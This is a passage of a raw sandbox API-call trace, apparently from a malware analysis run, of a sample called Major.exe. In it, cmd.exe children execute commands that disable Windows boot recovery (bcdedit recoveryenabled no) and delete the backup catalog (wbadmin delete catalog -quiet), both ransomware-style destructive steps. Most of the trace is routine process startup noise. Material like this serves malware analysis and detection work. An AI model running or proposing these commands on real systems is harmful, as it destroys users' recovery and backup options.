lpApplicationName="C:\\WINDOWS\\system32\\bcdedit.exe", lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xa9ad6ff3a0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="bcdedit /set {default} recoveryenabled no", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xa9ad6ff378 | out: lpCommandLine="bcdedit /set {default} recoveryenabled no", lpProcessInformation=0xa9ad6ff378*(hProcess=0x9c, hThread=0x98, dwProcessId=0x9e4, dwThreadId=0x8ac)) returned 1 [0089.784] CloseHandle (hObject=0x98) returned 1 [0089.784] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0089.784] GetProcessHeap () returned 0x2a4280c0000 [0089.784] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c9400) returned 1 [0089.784] GetEnvironmentStringsW () returned 0x2a4280c9400* [0089.784] GetProcessHeap () returned 0x2a4280c0000 [0089.784] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xb7e) returned 0x2a4280c5ec0 [0089.784] FreeEnvironmentStringsA (penv="=") returned 1 [0089.784] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0 [0091.399] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0xa9ad6ff2f8 | out: lpExitCode=0xa9ad6ff2f8*=0x0) returned 1 [0091.399] CloseHandle (hObject=0x9c) returned 1 [0091.399] _vsnwprintf (in: _Buffer=0xa9ad6ff4c8, _BufferCount=0x13, _Format="%08X", _ArgList=0xa9ad6ff308 | out: _Buffer="00000000") returned 8 [0091.399] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0091.399] GetProcessHeap () returned 0x2a4280c0000 [0091.399] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c5ec0) returned 1 [0091.399] GetEnvironmentStringsW () returned 0x2a4280c8870* [0091.399] GetProcessHeap () returned 0x2a4280c0000 [0091.399] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xba4) returned 0x2a4280d9fe0 [0091.400] FreeEnvironmentStringsA (penv="=") returned 1 [0091.400] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0091.400] GetProcessHeap () returned 0x2a4280c0000 [0091.400] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280d9fe0) returned 1 [0091.400] GetEnvironmentStringsW () returned 0x2a4280c8870* [0091.400] GetProcessHeap () returned 0x2a4280c0000 [0091.400] RtlAllocateHeap (HeapHandle=0x2a4280c0000, Flags=0x8, Size=0xba4) returned 0x2a4280d9fe0 [0091.401] FreeEnvironmentStringsA (penv="=") returned 1 [0091.401] GetProcessHeap () returned 0x2a4280c0000 [0091.401] RtlFreeHeap (HeapHandle=0x2a4280c0000, Flags=0x0, BaseAddress=0x2a4280c8850) returned 1 [0091.401] DeleteProcThreadAttributeList (in: lpAttributeList=0xa9ad6ff480 | out: lpAttributeList=0xa9ad6ff480) [0091.401] ??_V@YAXPEAX@Z () returned 0x1 [0091.401] _get_osfhandle (_FileHandle=1) returned 0xc [0091.401] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x3) returned 1 [0091.405] _get_osfhandle (_FileHandle=1) returned 0xc [0091.405] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0091.409] _get_osfhandle (_FileHandle=1) returned 0xc [0091.409] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0091.413] _get_osfhandle (_FileHandle=0) returned 0x8 [0091.413] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0091.417] _get_osfhandle (_FileHandle=0) returned 0x8 [0091.417] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0091.418] SetConsoleInputExeNameW () returned 0x1 [0091.418] GetConsoleOutputCP () returned 0x1b5 [0091.420] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0091.420] SetThreadUILanguage (LangId=0x0) returned 0x409 [0091.422] exit (_Code=0) Thread: id = 22 os_tid = 0xcf0 Process: id = "5" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x66ae000" os_pid = "0x37c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xdc4" cmd_line = "/C wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 14 os_tid = 0xd00 [0086.587] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6a7ec0000 [0086.588] __set_app_type (_Type=0x1) [0086.588] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6a7ed6d00) returned 0x0 [0086.588] __getmainargs (in: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210, _DoWildCard=0, _StartInfo=0x7ff6a7ef921c | out: _Argc=0x7ff6a7ef9200, _Argv=0x7ff6a7ef9208, _Env=0x7ff6a7ef9210) returned 0 [0086.588] _onexit (_Func=0x7ff6a7ed7fd0) returned 0x7ff6a7ed7fd0 [0086.588] _onexit (_Func=0x7ff6a7ed7fe0) returned 0x7ff6a7ed7fe0 [0086.588] _onexit (_Func=0x7ff6a7ed7ff0) returned 0x7ff6a7ed7ff0 [0086.588] _onexit (_Func=0x7ff6a7ed8000) returned 0x7ff6a7ed8000 [0086.588] _onexit (_Func=0x7ff6a7ed8010) returned 0x7ff6a7ed8010 [0086.589] _onexit (_Func=0x7ff6a7ed8020) returned 0x7ff6a7ed8020 [0086.589] GetCurrentThreadId () returned 0xd00 [0086.589] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd00) returned 0x7c [0086.589] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0086.589] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0086.589] SetThreadUILanguage (LangId=0x0) returned 0x409 [0086.888] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0086.889] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x61f1f3f898 | out: phkResult=0x61f1f3f898*=0x0) returned 0x2 [0086.889] VirtualQuery (in: lpAddress=0x61f1f3f884, lpBuffer=0x61f1f3f800, dwLength=0x30 | out: lpBuffer=0x61f1f3f800*(BaseAddress=0x61f1f3f000, AllocationBase=0x61f1e40000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.889] VirtualQuery (in: lpAddress=0x61f1e40000, lpBuffer=0x61f1f3f800, dwLength=0x30 | out: lpBuffer=0x61f1f3f800*(BaseAddress=0x61f1e40000, AllocationBase=0x61f1e40000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.889] VirtualQuery (in: lpAddress=0x61f1e41000, lpBuffer=0x61f1f3f800, dwLength=0x30 | out: lpBuffer=0x61f1f3f800*(BaseAddress=0x61f1e41000, AllocationBase=0x61f1e40000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.889] VirtualQuery (in: lpAddress=0x61f1e44000, lpBuffer=0x61f1f3f800, dwLength=0x30 | out: lpBuffer=0x61f1f3f800*(BaseAddress=0x61f1e44000, AllocationBase=0x61f1e40000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.889] VirtualQuery (in: lpAddress=0x61f1f40000, lpBuffer=0x61f1f3f800, dwLength=0x30 | out: lpBuffer=0x61f1f3f800*(BaseAddress=0x61f1f40000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb78a, RegionSize=0xc0000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0086.889] GetConsoleOutputCP () returned 0x1b5 [0086.913] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0086.913] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6a7ee8150, Add=1) returned 1 [0086.913] _get_osfhandle (_FileHandle=1) returned 0xc [0086.913] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc04 | out: lpMode=0x7ff6a7effc04) returned 1 [0086.940] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.940] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc00 | out: lpMode=0x7ff6a7effc00) returned 1 [0086.952] _get_osfhandle (_FileHandle=1) returned 0xc [0086.952] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x0) returned 1 [0086.957] _get_osfhandle (_FileHandle=1) returned 0xc [0086.957] GetConsoleMode (in: hConsoleHandle=0xc, lpMode=0x7ff6a7effc08 | out: lpMode=0x7ff6a7effc08) returned 1 [0086.963] _get_osfhandle (_FileHandle=1) returned 0xc [0086.963] SetConsoleMode (hConsoleHandle=0xc, dwMode=0x7) returned 1 [0086.968] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.968] GetConsoleMode (in: hConsoleHandle=0x8, lpMode=0x7ff6a7effc0c | out: lpMode=0x7ff6a7effc0c) returned 1 [0086.981] _get_osfhandle (_FileHandle=0) returned 0x8 [0086.981] SetConsoleMode (hConsoleHandle=0x8, dwMode=0x1e7) returned 1 [0087.031] GetEnvironmentStringsW () returned 0x1ad7b315ae0* [0087.031] GetProcessHeap () returned 0x1ad7b310000 [0087.031] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb2e) returned 0x1ad7b316620 [0087.031] FreeEnvironmentStringsA (penv="A") returned 1 [0087.031] GetProcessHeap () returned 0x1ad7b310000 [0087.031] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x8) returned 0x1ad7b315ae0 [0087.031] GetEnvironmentStringsW () returned 0x1ad7b317160* [0087.031] GetProcessHeap () returned 0x1ad7b310000 [0087.031] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb2e) returned 0x1ad7b317ca0 [0087.031] FreeEnvironmentStringsA (penv="A") returned 1 [0087.031] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x61f1f3e748 | out: phkResult=0x61f1f3e748*=0x88) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x4, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x1, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x1, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x0, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x40, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x40, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x40, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegCloseKey (hKey=0x88) returned 0x0 [0087.032] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x61f1f3e748 | out: phkResult=0x61f1f3e748*=0x88) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x40, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x1, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x1, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x0, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x9, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x4, lpData=0x61f1f3e760*=0x9, lpcbData=0x61f1f3e744*=0x4) returned 0x0 [0087.032] RegQueryValueExW (in: hKey=0x88, lpValueName="AutoRun", lpReserved=0x0, lpType=0x61f1f3e740, lpData=0x61f1f3e760, lpcbData=0x61f1f3e744*=0x1000 | out: lpType=0x61f1f3e740*=0x0, lpData=0x61f1f3e760*=0x9, lpcbData=0x61f1f3e744*=0x1000) returned 0x2 [0087.032] RegCloseKey (hKey=0x88) returned 0x0 [0087.032] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccd3bba [0087.032] srand (_Seed=0x5ccd3bba) [0087.032] GetCommandLineW () returned="/C wbadmin delete catalog -quiet" [0087.032] malloc (_Size=0x4000) returned 0x1ad7b5c55a0 [0087.033] GetCommandLineW () returned="/C wbadmin delete catalog -quiet" [0087.033] malloc (_Size=0xffce) returned 0x1ad7b410080 [0087.033] ??_V@YAXPEAX@Z () returned 0x1ad7b410080 [0087.033] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ad7b410080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.034] malloc (_Size=0xffce) returned 0x1ad7b420060 [0087.034] ??_V@YAXPEAX@Z () returned 0x1ad7b420060 [0087.034] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1ad7b420060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.034] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.034] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.034] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.034] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.034] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.035] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.035] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.035] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.035] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.035] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.035] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.035] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.035] GetProcessHeap () returned 0x1ad7b310000 [0087.035] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b316620) returned 1 [0087.035] GetEnvironmentStringsW () returned 0x1ad7b315b00* [0087.035] GetProcessHeap () returned 0x1ad7b310000 [0087.035] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb46) returned 0x1ad7b316650 [0087.035] FreeEnvironmentStringsA (penv="A") returned 1 [0087.035] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.035] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.035] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.035] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.035] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.035] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.035] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.035] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.036] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.036] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0087.036] malloc (_Size=0xffce) returned 0x1ad7b430040 [0087.036] ??_V@YAXPEAX@Z () returned 0x1ad7b430040 [0087.036] GetProcessHeap () returned 0x1ad7b310000 [0087.036] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x40) returned 0x1ad7b318810 [0087.036] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ad7b430040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1ad7b430040, lpFilePart=0x61f1f3f2c0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x61f1f3f2c0*="Desktop") returned 0x17 [0087.037] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.037] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x61f1f3eff0 | out: lpFindFileData=0x61f1f3eff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1ad7b318860 [0087.037] FindClose (in: hFindFile=0x1ad7b318860 | out: hFindFile=0x1ad7b318860) returned 1 [0087.037] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x61f1f3eff0 | out: lpFindFileData=0x61f1f3eff0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1ad7b318860 [0087.037] FindClose (in: hFindFile=0x1ad7b318860 | out: hFindFile=0x1ad7b318860) returned 1 [0087.037] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x61f1f3eff0 | out: lpFindFileData=0x61f1f3eff0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1ad7b318860 [0087.037] FindClose (in: hFindFile=0x1ad7b318860 | out: hFindFile=0x1ad7b318860) returned 1 [0087.038] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.038] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.038] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.038] GetProcessHeap () returned 0x1ad7b310000 [0087.038] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b316650) returned 1 [0087.038] GetEnvironmentStringsW () returned 0x1ad7b310fc0* [0087.038] GetProcessHeap () returned 0x1ad7b310000 [0087.038] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0xb7e) returned 0x1ad7b3193f0 [0087.038] FreeEnvironmentStringsA (penv="=") returned 1 [0087.038] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1ad7b410080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.038] GetProcessHeap () returned 0x1ad7b310000 [0087.038] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b318810) returned 1 [0087.038] ??_V@YAXPEAX@Z () returned 0x1 [0087.038] ??_V@YAXPEAX@Z () returned 0x1 [0087.038] GetProcessHeap () returned 0x1ad7b310000 [0087.038] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x4016) returned 0x1ad7b319f80 [0087.039] GetProcessHeap () returned 0x1ad7b310000 [0087.039] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x8, Size=0x50) returned 0x1ad7b310fc0 [0087.039] GetProcessHeap () returned 0x1ad7b310000 [0087.039] RtlFreeHeap (HeapHandle=0x1ad7b310000, Flags=0x0, BaseAddress=0x1ad7b319f80) returned 1 [0087.039] GetConsoleOutputCP () returned 0x1b5 [0087.070] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.070] GetUserDefaultLCID () returned 0x409 [0087.070] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x61f1f3f680, cchData=128 | out: lpLCData="0") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x61f1f3f680, cchData=128 | out: lpLCData="0") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x61f1f3f680, cchData=128 | out: lpLCData="1") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.071] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.071] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.072] GetProcessHeap () returned 0x1ad7b310000 [0087.072] RtlAllocateHeap (HeapHandle=0x1ad7b310000, Flags=0x0, Size=0x20c) returned 0x1ad7b311090 [0087.072] GetConsoleTitleW (in: lpConsoleTitle=0x1ad7b311090, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.090] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.090] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.090] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 